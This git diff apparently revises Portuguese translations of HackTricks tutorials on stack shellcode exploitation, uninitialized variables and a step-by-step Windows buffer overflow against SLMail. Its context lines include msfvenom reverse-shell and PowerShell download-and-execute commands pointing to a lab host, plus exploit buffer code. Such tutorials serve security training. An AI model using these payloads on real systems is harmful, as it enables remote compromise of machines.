* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -79,9 +79,9 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||||
p.sendline(payload)
|
p.sendline(payload)
|
||||||
p.interactive()
|
p.interactive()
|
||||||
```
|
```
|
||||||
Este script constrói um payload consistindo de um **NOP slide**, o **shellcode**, e então sobrescreve o **EIP** com o endereço apontando para o NOP slide, garantindo que o shellcode seja executado.
|
Este script constrói um payload consistindo em um **NOP slide**, o **shellcode**, e então sobrescreve o **EIP** com o endereço apontando para o NOP slide, garantindo que o shellcode seja executado.
|
||||||
|
|
||||||
O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execução "deslize" para o nosso shellcode, independentemente do endereço exato. Ajuste o argumento `p32()` para o endereço inicial do seu buffer mais um offset para cair no NOP slide.
|
O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execução "deslize" para o nosso shellcode, independentemente do endereço exato. Ajuste o argumento `p32()` para o endereço inicial do seu buffer mais um deslocamento para cair no NOP slide.
|
||||||
|
|
||||||
## Proteções
|
## Proteções
|
||||||
|
|
||||||
|
@ -102,16 +102,16 @@ O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execuç
|
||||||
* arm64, sem ASLR, gadget ROP para tornar a pilha executável e saltar para o shellcode na pilha
|
* arm64, sem ASLR, gadget ROP para tornar a pilha executável e saltar para o shellcode na pilha
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -83,7 +83,7 @@ p.send(payload)
|
||||||
# Drop to an interactive session
|
# Drop to an interactive session
|
||||||
p.interactive()
|
p.interactive()
|
||||||
```
|
```
|
||||||
A única coisa "complicada" de encontrar aqui seria o endereço na pilha para chamar. No meu caso, eu gerei o exploit com o endereço encontrado usando gdb, mas depois, ao explorá-lo, não funcionou (porque o endereço da pilha mudou um pouco).
|
A única coisa "complicada" a encontrar aqui seria o endereço na pilha para chamar. No meu caso, eu gerei o exploit com o endereço encontrado usando gdb, mas depois, ao explorá-lo, não funcionou (porque o endereço da pilha mudou um pouco).
|
||||||
|
|
||||||
Eu abri o **`core` file** gerado (`gdb ./bog ./core`) e verifiquei o endereço real do início do shellcode.
|
Eu abri o **`core` file** gerado (`gdb ./bog ./core`) e verifiquei o endereço real do início do shellcode.
|
||||||
|
|
||||||
|
|
|
@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -19,15 +19,15 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
A ideia central aqui é entender o que acontece com **variáveis não inicializadas, pois elas terão o valor que já estava na memória atribuída a elas.** Exemplo:
|
A ideia central aqui é entender o que acontece com **variáveis não inicializadas, pois elas terão o valor que já estava na memória atribuída a elas.** Exemplo:
|
||||||
|
|
||||||
* **Função 1: `initializeVariable`**: Declaramos uma variável `x` e atribuímos um valor, digamos `0x1234`. Esta ação é semelhante a reservar um espaço na memória e colocar um valor específico nele.
|
* **Função 1: `initializeVariable`**: Declaramos uma variável `x` e atribuímos um valor a ela, digamos `0x1234`. Esta ação é semelhante a reservar um espaço na memória e colocar um valor específico nele.
|
||||||
* **Função 2: `useUninitializedVariable`**: Aqui, declaramos outra variável `y`, mas não atribuímos nenhum valor a ela. Em C, variáveis não inicializadas não são automaticamente definidas como zero. Em vez disso, elas mantêm o último valor armazenado em seu local de memória.
|
* **Função 2: `useUninitializedVariable`**: Aqui, declaramos outra variável `y`, mas não atribuímos nenhum valor a ela. Em C, variáveis não inicializadas não são automaticamente definidas como zero. Em vez disso, elas mantêm o último valor armazenado em seu local de memória.
|
||||||
|
|
||||||
Quando executamos essas duas funções **sequentially**:
|
Quando executamos essas duas funções **sequentially**:
|
||||||
|
|
||||||
1. Em `initializeVariable`, `x` é atribuído um valor (`0x1234`), que ocupa um endereço de memória específico.
|
1. Em `initializeVariable`, `x` recebe um valor (`0x1234`), que ocupa um endereço de memória específico.
|
||||||
2. Em `useUninitializedVariable`, `y` é declarada, mas não recebe um valor, então ocupa o espaço de memória logo após `x`. Devido à não inicialização de `y`, ela acaba "herdando" o valor do mesmo local de memória usado por `x`, porque esse é o último valor que estava lá.
|
2. Em `useUninitializedVariable`, `y` é declarada, mas não recebe um valor, então ocupa o espaço de memória logo após `x`. Devido à não inicialização de `y`, ela acaba "herdando" o valor do mesmo local de memória usado por `x`, porque esse é o último valor que estava lá.
|
||||||
|
|
||||||
Esse comportamento ilustra um conceito chave na programação de baixo nível: **O gerenciamento de memória é crucial**, e variáveis não inicializadas podem levar a comportamentos imprevisíveis ou vulnerabilidades de segurança, pois podem, inadvertidamente, conter dados sensíveis deixados na memória.
|
Esse comportamento ilustra um conceito chave na programação de baixo nível: **Gerenciamento de memória é crucial**, e variáveis não inicializadas podem levar a comportamentos imprevisíveis ou vulnerabilidades de segurança, pois podem, inadvertidamente, conter dados sensíveis deixados na memória.
|
||||||
|
|
||||||
Variáveis de pilha não inicializadas podem representar vários riscos de segurança, como:
|
Variáveis de pilha não inicializadas podem representar vários riscos de segurança, como:
|
||||||
|
|
||||||
|
@ -68,13 +68,13 @@ return 0;
|
||||||
```
|
```
|
||||||
#### Como Isso Funciona:
|
#### Como Isso Funciona:
|
||||||
|
|
||||||
* **Função `initializeAndPrint`**: Esta função declara uma variável inteira `initializedVar`, atribui a ela o valor `100` e, em seguida, imprime tanto o endereço de memória quanto o valor da variável. Este passo é direto e mostra como uma variável inicializada se comporta.
|
* **Função `initializeAndPrint`**: Esta função declara uma variável inteira `initializedVar`, atribui a ela o valor `100` e, em seguida, imprime tanto o endereço de memória quanto o valor da variável. Este passo é simples e mostra como uma variável inicializada se comporta.
|
||||||
* **Função `demonstrateUninitializedVar`**: Nesta função, declaramos uma variável inteira `uninitializedVar` sem inicializá-la. Quando tentamos imprimir seu valor, a saída pode mostrar um número aleatório. Este número representa qualquer dado que estava anteriormente naquele local de memória. Dependendo do ambiente e do compilador, a saída real pode variar e, às vezes, por segurança, alguns compiladores podem inicializar automaticamente variáveis para zero, embora isso não deva ser confiado.
|
* **Função `demonstrateUninitializedVar`**: Nesta função, declaramos uma variável inteira `uninitializedVar` sem inicializá-la. Quando tentamos imprimir seu valor, a saída pode mostrar um número aleatório. Esse número representa os dados que estavam anteriormente naquele local de memória. Dependendo do ambiente e do compilador, a saída real pode variar e, às vezes, por segurança, alguns compiladores podem inicializar automaticamente variáveis com zero, embora isso não deva ser confiável.
|
||||||
* **Função `main`**: A função `main` chama ambas as funções acima em sequência, demonstrando o contraste entre uma variável inicializada e uma não inicializada.
|
* **Função `main`**: A função `main` chama ambas as funções acima em sequência, demonstrando o contraste entre uma variável inicializada e uma não inicializada.
|
||||||
|
|
||||||
## Exemplo ARM64
|
## Exemplo ARM64
|
||||||
|
|
||||||
Isso não muda nada no ARM64, pois variáveis locais também são gerenciadas na pilha, você pode [**ver este exemplo**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) onde isso é mostrado.
|
Isso não muda nada no ARM64, pois as variáveis locais também são gerenciadas na pilha, você pode [**verificar este exemplo**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) onde isso é mostrado.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -1,25 +1,25 @@
|
||||||
# Exploração do Windows (Guia Básico - Nível OSCP)
|
# Windows Exploiting (Guia Básico - Nível OSCP)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking na AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking na GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## **Comece instalando o serviço SLMail**
|
## **Comece a instalar o serviço SLMail**
|
||||||
|
|
||||||
## Reiniciar o serviço SLMail
|
## Reiniciar o serviço SLMail
|
||||||
|
|
||||||
Toda vez que precisar **reiniciar o serviço SLMail**, você pode fazer isso usando o console do Windows:
|
Toda vez que você precisar **reiniciar o serviço SLMail**, você pode fazê-lo usando o console do Windows:
|
||||||
```
|
```
|
||||||
net start slmail
|
net start slmail
|
||||||
```
|
```
|
||||||
|
@ -47,7 +47,7 @@ print "\nFinished!."
|
||||||
except:
|
except:
|
||||||
print "Could not connect to "+ip+":"+port
|
print "Could not connect to "+ip+":"+port
|
||||||
```
|
```
|
||||||
## **Alterar a Fonte do Immunity Debugger**
|
## **Mudar a Fonte do Immunity Debugger**
|
||||||
|
|
||||||
Vá para `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
|
Vá para `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
|
||||||
|
|
||||||
|
@ -59,11 +59,11 @@ Vá para `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
|
||||||
|
|
||||||
**E pressione o botão START**
|
**E pressione o botão START**
|
||||||
|
|
||||||
## **Enviar o exploit e verificar se o EIP é afetado:**
|
## **Envie o exploit e verifique se o EIP está afetado:**
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (906).png>)
|
![](<../.gitbook/assets/image (906).png>)
|
||||||
|
|
||||||
Cada vez que você interromper o serviço, você deve reiniciá-lo, como indicado no início desta página.
|
Toda vez que você interromper o serviço, deve reiniciá-lo, conforme indicado no início desta página.
|
||||||
|
|
||||||
## Criar um padrão para modificar o EIP
|
## Criar um padrão para modificar o EIP
|
||||||
|
|
||||||
|
@ -73,9 +73,9 @@ O padrão deve ser tão grande quanto o buffer que você usou para interromper o
|
||||||
```
|
```
|
||||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
|
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
|
||||||
```
|
```
|
||||||
Alterar o buffer do exploit e definir o padrão e executar o exploit.
|
Altere o buffer do exploit e defina o padrão e inicie o exploit.
|
||||||
|
|
||||||
Deve surgir uma nova falha, mas com um endereço EIP diferente:
|
Um novo crash deve aparecer, mas com um endereço EIP diferente:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (636).png>)
|
![](<../.gitbook/assets/image (636).png>)
|
||||||
|
|
||||||
|
@ -85,13 +85,13 @@ Verifique se o endereço estava no seu padrão:
|
||||||
```
|
```
|
||||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
|
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
|
||||||
```
|
```
|
||||||
Parece que **podemos modificar o EIP no deslocamento 2606** do buffer.
|
Parece que **podemos modificar o EIP no offset 2606** do buffer.
|
||||||
|
|
||||||
Verifique modificando o buffer do exploit:
|
Verifique modificando o buffer do exploit:
|
||||||
```
|
```
|
||||||
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
|
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
|
||||||
```
|
```
|
||||||
Com este buffer, o EIP quebrado deve apontar para 42424242 ("BBBB")
|
Com este buffer, o EIP quebrou deve apontar para 42424242 ("BBBB")
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (874).png>)
|
![](<../.gitbook/assets/image (874).png>)
|
||||||
|
|
||||||
|
@ -99,25 +99,25 @@ Com este buffer, o EIP quebrado deve apontar para 42424242 ("BBBB")
|
||||||
|
|
||||||
Parece que está funcionando.
|
Parece que está funcionando.
|
||||||
|
|
||||||
## Verificar espaço para Shellcode dentro da pilha
|
## Verifique o espaço para Shellcode dentro da pilha
|
||||||
|
|
||||||
600B deve ser suficiente para qualquer shellcode poderoso.
|
600B deve ser suficiente para qualquer shellcode poderoso.
|
||||||
|
|
||||||
Vamos alterar o buffer:
|
Vamos mudar o bufer:
|
||||||
```
|
```
|
||||||
buffer = 'A'*2606 + 'BBBB' + 'C'*600
|
buffer = 'A'*2606 + 'BBBB' + 'C'*600
|
||||||
```
|
```
|
||||||
Lance o novo exploit e verifique o EBP e o comprimento do shellcode útil
|
lançar o novo exploit e verificar o EBP e o comprimento do shellcode útil
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (119).png>)
|
![](<../.gitbook/assets/image (119).png>)
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (879).png>)
|
![](<../.gitbook/assets/image (879).png>)
|
||||||
|
|
||||||
Você pode ver que quando a vulnerabilidade é alcançada, o EBP está apontando para o shellcode e que temos muito espaço para localizar um shellcode aqui.
|
Você pode ver que, quando a vulnerabilidade é alcançada, o EBP está apontando para o shellcode e que temos muito espaço para localizar um shellcode aqui.
|
||||||
|
|
||||||
Neste caso, temos **de 0x0209A128 a 0x0209A2D6 = 430B.** Suficiente.
|
Neste caso, temos **de 0x0209A128 a 0x0209A2D6 = 430B.** Suficiente.
|
||||||
|
|
||||||
## Verifique os caracteres inválidos
|
## Verifique os caracteres ruins
|
||||||
|
|
||||||
Mude novamente o buffer:
|
Mude novamente o buffer:
|
||||||
```
|
```
|
||||||
|
@ -143,11 +143,11 @@ buffer = 'A'*2606 + 'BBBB' + badchars
|
||||||
```
|
```
|
||||||
Os badchars começam em 0x01 porque 0x00 é quase sempre ruim.
|
Os badchars começam em 0x01 porque 0x00 é quase sempre ruim.
|
||||||
|
|
||||||
Execute repetidamente o exploit com este novo buffer eliminando os caracteres que são considerados inúteis:.
|
Execute repetidamente o exploit com este novo buffer removendo os caracteres que se mostram inúteis:
|
||||||
|
|
||||||
Por exemplo:
|
Por exemplo:
|
||||||
|
|
||||||
Neste caso, você pode ver que **não deve usar o caractere 0x0A** (nada é salvo na memória desde o caractere 0x09).
|
Neste caso, você pode ver que **você não deve usar o caractere 0x0A** (nada é salvo na memória desde o caractere 0x09).
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (111).png>)
|
![](<../.gitbook/assets/image (111).png>)
|
||||||
|
|
||||||
|
@ -161,13 +161,13 @@ Usando:
|
||||||
```
|
```
|
||||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||||
```
|
```
|
||||||
Você irá **listar os mapas de memória**. Procure por alguma DLL que tenha:
|
Você irá **listar os mapas de memória**. Procure por algum DLL que tenha:
|
||||||
|
|
||||||
- **Rebase: False**
|
* **Rebase: Falso**
|
||||||
- **SafeSEH: False**
|
* **SafeSEH: Falso**
|
||||||
- **ASLR: False**
|
* **ASLR: Falso**
|
||||||
- **NXCompat: False**
|
* **NXCompat: Falso**
|
||||||
- **OS Dll: True**
|
* **OS Dll: Verdadeiro**
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (555).png>)
|
![](<../.gitbook/assets/image (555).png>)
|
||||||
|
|
||||||
|
@ -176,7 +176,7 @@ Agora, dentro dessa memória você deve encontrar alguns bytes JMP ESP, para faz
|
||||||
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
|
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
|
||||||
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
|
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
|
||||||
```
|
```
|
||||||
**Então, se algum endereço for encontrado, escolha um que não contenha nenhum caractere ruim:**
|
**Então, se algum endereço for encontrado, escolha um que não contenha nenhum badchar:**
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (605).png>)
|
![](<../.gitbook/assets/image (605).png>)
|
||||||
|
|
||||||
|
@ -187,9 +187,9 @@ Agora, dentro dessa memória você deve encontrar alguns bytes JMP ESP, para faz
|
||||||
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
|
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
|
||||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
|
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
|
||||||
```
|
```
|
||||||
Se o exploit não estiver funcionando, mas deveria (você pode ver com o ImDebg que o shellcode está sendo alcançado), tente criar outros shellcodes (msfvenom com diferentes shellcodes para os mesmos parâmetros).
|
Se o exploit não estiver funcionando, mas deveria (você pode ver com ImDebg que o shellcode é alcançado), tente criar outros shellcodes (msfvenom com criar diferentes shellcodes para os mesmos parâmetros).
|
||||||
|
|
||||||
**Adicione alguns NOPS no início** do shellcode e use-o e o endereço de retorno para JMP ESP e finalize o exploit:
|
**Adicione alguns NOPS no início** do shellcode e use-o e o endereço de retorno para JMP ESP, e finalize o exploit:
|
||||||
```bash
|
```bash
|
||||||
#!/usr/bin/python
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
@ -239,7 +239,7 @@ except:
|
||||||
print "Could not connect to "+ip+":"+port
|
print "Could not connect to "+ip+":"+port
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Existem shellcodes que **se sobrescreverão**, portanto é importante sempre adicionar alguns NOPs antes do shellcode
|
Existem shellcodes que **sobrescrevem a si mesmos**, portanto, é importante sempre adicionar alguns NOPs antes do shellcode
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Melhorando o shellcode
|
## Melhorando o shellcode
|
||||||
|
@ -249,16 +249,16 @@ Adicione estes parâmetros:
|
||||||
EXITFUNC=thread -e x86/shikata_ga_nai
|
EXITFUNC=thread -e x86/shikata_ga_nai
|
||||||
```
|
```
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Suporte ao HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,14 +1,14 @@
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -16,129 +16,131 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
